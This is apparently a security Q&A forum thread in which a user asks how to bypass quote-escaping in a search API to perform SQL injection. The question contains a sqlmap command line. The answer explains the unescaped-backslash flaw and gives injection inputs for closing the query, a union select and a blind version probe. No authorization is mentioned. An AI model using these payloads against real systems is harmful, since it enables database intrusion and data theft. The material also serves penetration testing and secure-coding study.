2

I need some help with sqli in API.

Webserver IIS 8.5

GET request looks like this

...
https://example.com/api/Search?q=Landing

Response look like this

HTTP/1.1 200 OK
...
[{"pageId":1,"pageName":"Landing Page"}]

SQL query where I try to inject when I send normaln request looks like this:

... LIKE '%Lending%' ...

Now when I create request like this

...
https://example.com/api/Search?q=Landing\'

Response look like this:

HTTP/1.1 500 Internal Server Error
...
["exceptionMessage":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%') OR (`Extent1`.`Name` LIKE '%Landing\\''%')) OR (`Extent1`.`TabContent` LIKE '%' at line 80",]

Response with error code 500 and seems that protection is in duplication char \ and '

Now when I fire up sqlmap it is unable to inject

python .\sqlmap.py -r .\request.txt --threads=10 --random-agent  --level=5 --risk=3 --dbms=mysql --banner --time-sec 10 --tamper=escapequotes --ignore-code=500 -v2 -p q
....
[INFO] heuristic (basic) test shows that GET parameter 'q' might be injectable (possible DBMS: 'MySQL')
....
[WARNING] GET parameter 'q' does not seem to be injectable

Tamper script I use is because of ' (Slash escape single and double quotes (e.g. ' -> \'))

Request like this

https://example.com/api/Search?q=Landing\\'

Return this Response:

HTTP/1.1 200 OK
...
[]

Also

Request like this

https://example.com/api/Search?q=Landing\\''

Return this Response:

HTTP/1.1 200 OK
...
[]

Also

Request with single quota returns zero.

https://example.com/api/Search?q=Landing'

Return this Response:

HTTP/1.1 200 OK
...
[]

So please can u help me understand how to bypass this protection and successfully perform SQL injection?

3
  • You need to learn about URL syntax first. Then you need to learn SQL. Then you need to reverse engineer how sql is created from your url. Then you need to figure out what sql you want, what url to send for this, and how to create this url.
    – gnasher729
    Dec 5, 2021 at 11:28
  • Please edit the question to limit it to a specific problem with enough detail to identify an adequate answer.
    – Community Bot
    Dec 5, 2021 at 12:05
  • @gnasher729 Thank you for comment. I have some level of knowledge and I trying to improve it. So please if you can help, you are welcome.
    – Ricky
    Dec 5, 2021 at 13:14

1 Answer 1

0

Looking at your example requests, it looks like the application escapes ', but fails to escape \. This means that you can inject a ' to break out of the string context (via \'), but you can't use a ' in the rest of your injection (even if escaping via \'; which is giving sqlmap problems, so I'd suggest manual exploitation).

You have this:

'   -> \'     <- no error, string is correctly escaped
\'  -> \\'    <- \ is escaped by \, so ' exits the string context, giving an error
\\' -> \\\'   <- \ is escaped by \, ' is escaped by \, so no error

What I would do first now is repair the query. Something like Landing\'))--x- (you may need to adjust the closing bracket count, I'm going of the error message). This should again give you a 200 and some results.

Once the query is fixed again, you can now inject your desired query. Landing\')) union select 1 --x- might work (an alternative would be blind injection, eg Landing\')) and substring(version(),1,1)=5--x- (or the mssql equivalent)).

My guess is that sqlmap is running into problems because you can't use ' in your injection (except for the initial \' to escape the existing string context). Imagine eg an injection into SELECT 1 FROM table WHERE id LIKE '%[userinput]%'. Injecting \'--x- works, as it gives SELECT 1 FROM table WHERE id LIKE '%\\'--x-%' (which then runs SELECT 1 FROM table WHERE id LIKE '%\' on the db). But injecting \' and x = \'test wouldn't work, as it results in SELECT 1 FROM table WHERE id LIKE '\\' and x = \\'test' (which runs as SELECT 1 FROM table WHERE id LIKE '\' and x = \'test' on the db, which is invalid because of the extra \ in front of 'test').

1
  • Thank you @tim for the detailed answer. But I'm unable to repair query. ('Landing\'))--x-') it doesn't matter how many brackets I put always getting error 500. Response ('LIKE '%Landing\\''))--x-%'))' )
    – Ricky
    Dec 11, 2021 at 13:46

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.